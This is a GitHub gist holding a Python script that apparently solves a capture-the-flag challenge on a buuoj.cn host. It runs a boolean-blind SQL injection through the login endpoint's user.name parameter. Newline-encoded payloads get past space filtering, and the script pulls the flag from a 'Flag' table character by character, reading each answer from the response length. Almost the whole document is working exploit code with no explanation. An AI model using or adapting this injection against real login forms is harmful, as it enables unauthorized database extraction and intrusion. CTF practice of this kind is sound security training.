Last active
March 11, 2020 09:25
-
-
Save chfanghr/c3e5f00ce0bb8646f3a700076b514271 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
s=requests.session() | |
flag='' | |
for i in range(1,50): | |
p='' | |
for j in range(1,255): | |
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'" | |
#print payload | |
url="http://55a37af9-cb39-4361-a2cb-9b30b468527c.node3.buuoj.cn/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1" | |
r1=s.get(url) | |
#print url | |
#print len(r1.text) | |
if len(r1.text)>20000 and p!='': | |
flag+=p | |
print i,flag | |
break | |
p=chr(j) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment